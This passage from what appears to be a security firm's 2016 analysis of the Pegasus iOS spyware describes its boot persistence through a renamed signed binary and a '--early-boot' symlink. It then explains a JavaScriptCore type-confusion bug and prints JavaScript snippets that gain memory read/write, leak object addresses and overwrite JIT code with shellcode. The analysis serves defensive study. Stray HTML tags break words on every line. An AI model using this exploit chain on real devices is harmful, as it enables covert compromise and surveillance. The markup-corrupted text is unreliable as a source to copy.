As a result <str<strong>on</strong>g>of</str<strong>on</strong>g> this behavior, any signed binary <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> system can be executed at boot with a<br />
single argument. By creating a symlink named --early-boot within <str<strong>on</strong>g>the</str<strong>on</strong>g> current working<br />
directory, an arbitrary file can be passed as <str<strong>on</strong>g>the</str<strong>on</strong>g> first argument to <str<strong>on</strong>g>the</str<strong>on</strong>g> arbitrary signed binary that<br />
has been copied to <str<strong>on</strong>g>the</str<strong>on</strong>g> rtbuddyd locati<strong>on</strong>.<br />
The sec<strong>on</strong>d issue leveraged in this persistence mechanism is a vulnerability within <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
JavaScriptCore binary. <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> leverages <str<strong>on</strong>g>the</str<strong>on</strong>g> previously described behavior in order to<br />
execute <str<strong>on</strong>g>the</str<strong>on</strong>g> jsc binary (JavaScriptCore) by copying it to <str<strong>on</strong>g>the</str<strong>on</strong>g> path /usr/libexec/rtbuddyd.<br />
Arbitrary JavaScript code can <str<strong>on</strong>g>the</str<strong>on</strong>g>n be executed by creating a symlink named --early-boot<br />
that points to a file c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> code to be executed at boot time. <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>n exploits a bad<br />
cast in <str<strong>on</strong>g>the</str<strong>on</strong>g> jsc binary to execute unsigned code and re-exploit <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel.<br />
JavaScriptCore Memory Corrupti<strong>on</strong> Issue<br />
The issue exists within <str<strong>on</strong>g>the</str<strong>on</strong>g> setImpureGetterDelegate() JavaScript binding (which is backed by<br />
functi<strong>on</strong>SetImpureGetterDelegate).<br />
EncodedJSValue JSC_HOST_CALL functi<strong>on</strong>SetImpureGetterDelegate(ExecState* exec)<br />
{<br />
JSLockHolder lock(exec);<br />
JSValue base = exec->argument(0);<br />
if (!base.isObject())<br />
return JSValue::encode(jsUndefined());<br />
JSValue delegate = exec->argument(1);<br />
if (!delegate.isObject())<br />
return JSValue::encode(jsUndefined());<br />
ImpureGetter* impureGetter = jsCast(asObject(base.asCell()));<br />
impureGetter->setDelegate(exec->vm(), asObject(delegate.asCell()));<br />
Page 39
}<br />
return JSValue::encode(jsUndefined());<br />
This binding takes two arguments: <str<strong>on</strong>g>the</str<strong>on</strong>g> first is an ImpureGetter, and <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d is a generic<br />
JSObject that will be set as <str<strong>on</strong>g>the</str<strong>on</strong>g> ImpureGetter’s delegate. The issue results from <str<strong>on</strong>g>the</str<strong>on</strong>g> lack <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
validati<strong>on</strong> that <str<strong>on</strong>g>the</str<strong>on</strong>g> JSObject passed as <str<strong>on</strong>g>the</str<strong>on</strong>g> first argument is in fact a well-formed ImpureGetter.<br />
When ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r object type is passed as <str<strong>on</strong>g>the</str<strong>on</strong>g> first argument, <str<strong>on</strong>g>the</str<strong>on</strong>g> object pointer will be improperly<br />
downcast to an ImpureGetter pointer.<br />
Subsequently, when <str<strong>on</strong>g>the</str<strong>on</strong>g> m_delegate member is set via setDelegate(), a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> JSObject<br />
passed as <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d argument will be written to <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g>fset that aligns with m_delegate (16<br />
bytes into <str<strong>on</strong>g>the</str<strong>on</strong>g> supplied object). This issue can be used to create a primitive that allows a pointer<br />
to an arbitrary JSObject to be written 16 bytes into any o<str<strong>on</strong>g>the</str<strong>on</strong>g>r JSObject.<br />
Exploitati<strong>on</strong><br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> leverages this issue to achieve unsigned code executi<strong>on</strong> from within an <strong>iOS</strong><br />
applicati<strong>on</strong> c<strong>on</strong>text. In order to gain c<strong>on</strong>trol <str<strong>on</strong>g>of</str<strong>on</strong>g> executi<strong>on</strong> flow, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit uses a number <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
DataView objects. DataViews are used because <str<strong>on</strong>g>the</str<strong>on</strong>g>y provide a trivial mechanism to read and<br />
write arbitrary <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into a vector. The DataView object also c<strong>on</strong>veniently has a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
backing buffer at its 16 byte <str<strong>on</strong>g>of</str<strong>on</strong>g>fset. Using <str<strong>on</strong>g>the</str<strong>on</strong>g>se corrupted DataView objects, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit sets up<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> tools needed to gain arbitrary native code executi<strong>on</strong> - namely, a read/write primitive and <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
ability to leak <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> an arbitrary JavaScript object. Once this setup is complete, <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
exploit can create an executable mapping c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> native code payload. The following<br />
secti<strong>on</strong>s detail <str<strong>on</strong>g>the</str<strong>on</strong>g> various stages <str<strong>on</strong>g>of</str<strong>on</strong>g> this process.<br />
Acquiring an arbitrary read/write primitive<br />
A read/write primitive for arbitrary <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into a DataView object can be obtained using <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
following code snippet.<br />
var dummy_ab = new ArrayBuffer(0x20);<br />
var dataview_init_rw = new DataView(dummy_ab);<br />
...<br />
var dataview_rw = new DataView(dummy_ab);<br />
…<br />
setImpureGetterDelegate(dataview_init_rw, dataview_rw);<br />
First, two DataViews are created using a dummy ArrayBuffer as <str<strong>on</strong>g>the</str<strong>on</strong>g> backing vector for both.<br />
Next, <str<strong>on</strong>g>the</str<strong>on</strong>g> issue is exploited to corrupt <str<strong>on</strong>g>the</str<strong>on</strong>g> m_vector member <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_init_rw object with<br />
a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_rw object. Subsequent reads and writes into <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_init_rw<br />
DataView will allow arbitrary members <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_rw to be leaked or overwritten. Next,<br />
c<strong>on</strong>trol over this object is used to gain a read/write primitive for <str<strong>on</strong>g>the</str<strong>on</strong>g> entirety <str<strong>on</strong>g>of</str<strong>on</strong>g> process memory.<br />
Page 40
var DATAVIEW_ARRAYBUFFER_OFFSET = 0x10;<br />
var DATAVIEW_BYTELENGTH_OFFSET = DATAVIEW_ARRAYBUFFER_OFFSET + 4;<br />
var DATAVIEW_MODE_OFFSET = DATAVIEW_BYTELENGTH_OFFSET + 4;<br />
var FAST_TYPED_ARRAY_MODE = 0;<br />
dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET, 0, true);<br />
…<br />
dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET, 0xFFFFFFFF, true);<br />
…<br />
dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET, FAST_TYPED_ARRAY_MODE, true);<br />
Three <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_rw DataView are written. First, <str<strong>on</strong>g>the</str<strong>on</strong>g> pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> backing vector<br />
is pointed to <str<strong>on</strong>g>the</str<strong>on</strong>g> zero address. Then <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> DataView is set to 0xFFFFFFFF,<br />
effectively setting <str<strong>on</strong>g>the</str<strong>on</strong>g> DataView to map all <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> virtual memory <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> process. Last, <str<strong>on</strong>g>the</str<strong>on</strong>g> mode<br />
is set to a simple type (i.e., FastTypedArray), allowing trivial calculati<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into a<br />
DataView given a virtual address. The dataview_rw DataView now provides an arbitrary<br />
read/write primitive via <str<strong>on</strong>g>the</str<strong>on</strong>g> getType and setType methods it exposes.<br />
Leaking an object address<br />
The last primitive needed is <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to leak <str<strong>on</strong>g>the</str<strong>on</strong>g> virtual memory address <str<strong>on</strong>g>of</str<strong>on</strong>g> an arbitrary<br />
JavaScript object. The primitive is achieved using <str<strong>on</strong>g>the</str<strong>on</strong>g> same issue exploited above to leak <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
address <str<strong>on</strong>g>of</str<strong>on</strong>g> a single object instead <str<strong>on</strong>g>of</str<strong>on</strong>g> exposing <str<strong>on</strong>g>the</str<strong>on</strong>g> entire memory space.<br />
var dummy_ab = new ArrayBuffer(0x20);<br />
...<br />
var dataview_leak_addr = new DataView(dummy_ab);<br />
var dataview_dv_leak = new DataView(dummy_ab);<br />
setImpureGetterDelegate(dataview_dv_leak, dataview_leak_addr);<br />
...<br />
setImpureGetterDelegate(dataview_leak_addr, object_to_leak);<br />
leaked_addr = dataview_dv_leak.getUint32(DATAVIEW_ARRAYBUFFER_OFFSET, true);<br />
Again, two DataViews are created using a dummy ArrayBuffer as <str<strong>on</strong>g>the</str<strong>on</strong>g> backing vector for both.<br />
Next, <str<strong>on</strong>g>the</str<strong>on</strong>g> issue is exploited to corrupt <str<strong>on</strong>g>the</str<strong>on</strong>g> m_vector member <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_dv_leak object with<br />
a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_leak_addr object. To leak <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> an arbitrary JavaScript<br />
object, <str<strong>on</strong>g>the</str<strong>on</strong>g> issue is triggered a sec<strong>on</strong>d time. This time, <str<strong>on</strong>g>the</str<strong>on</strong>g> m_vector <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_leak_addr<br />
DataView is corrupted with <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> object that is being leaked. Finally, <str<strong>on</strong>g>the</str<strong>on</strong>g> dword<br />
residing at <str<strong>on</strong>g>the</str<strong>on</strong>g> 16th byte <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_dv_leak DataView can be read to obtain <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> target object.<br />
Unsigned native code executi<strong>on</strong><br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> uses <str<strong>on</strong>g>the</str<strong>on</strong>g> same mechanism to gain code executi<strong>on</strong> in this exploit as used in <str<strong>on</strong>g>the</str<strong>on</strong>g> stage 1<br />
Safari exploit. The exploit creates an executable mapping that will c<strong>on</strong>tain <str<strong>on</strong>g>the</str<strong>on</strong>g> shellcode to be<br />
executed. To accomplish this purpose, a JSFuncti<strong>on</strong> object is created (c<strong>on</strong>taining hundreds <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
empty try/catch blocks that will later be overwritten). To help ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScript will be<br />
compiled into native code by <str<strong>on</strong>g>the</str<strong>on</strong>g> JIT, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is subsequently called repeatedly. Given <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
nature <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScriptCore library, this JIT-compiled native code will reside in an area <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
memory that is mapped as read/write/execute.<br />
Page 41
var body = ''<br />
for (var k = 0; k < 0x600; k++) {<br />
body += 'try {} catch(e) {};';<br />
}<br />
var to_overwrite = new Functi<strong>on</strong>('a', body);<br />
for (var i = 0; i < 0x10000; i++) {<br />
to_overwrite();<br />
}<br />
The address <str<strong>on</strong>g>of</str<strong>on</strong>g> this JSFuncti<strong>on</strong> object can <str<strong>on</strong>g>the</str<strong>on</strong>g>n be leaked and <str<strong>on</strong>g>the</str<strong>on</strong>g> various members can be<br />
read to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> RWX mapping. The JITed try/catch blocks are <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />
overwritten with shellcode, and <str<strong>on</strong>g>the</str<strong>on</strong>g> to_overwrite() functi<strong>on</strong> can simply be called to achieve<br />
arbitrary code executi<strong>on</strong>.<br />
1-888-988-5795 | lookout.com<br />
Page 42<br />
© 2016 Lookout, Inc. All rights reserved. Lookout, <str<strong>on</strong>g>the</str<strong>on</strong>g> Shield Logo, and Everything is OK are registered trademarks <str<strong>on</strong>g>of</str<strong>on</strong>g> Lookout, Inc. All o<str<strong>on</strong>g>the</str<strong>on</strong>g>r brand and product names<br />
are trademarks or registered trademarks <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>ir respective holders. 20161103-Lookout-USv1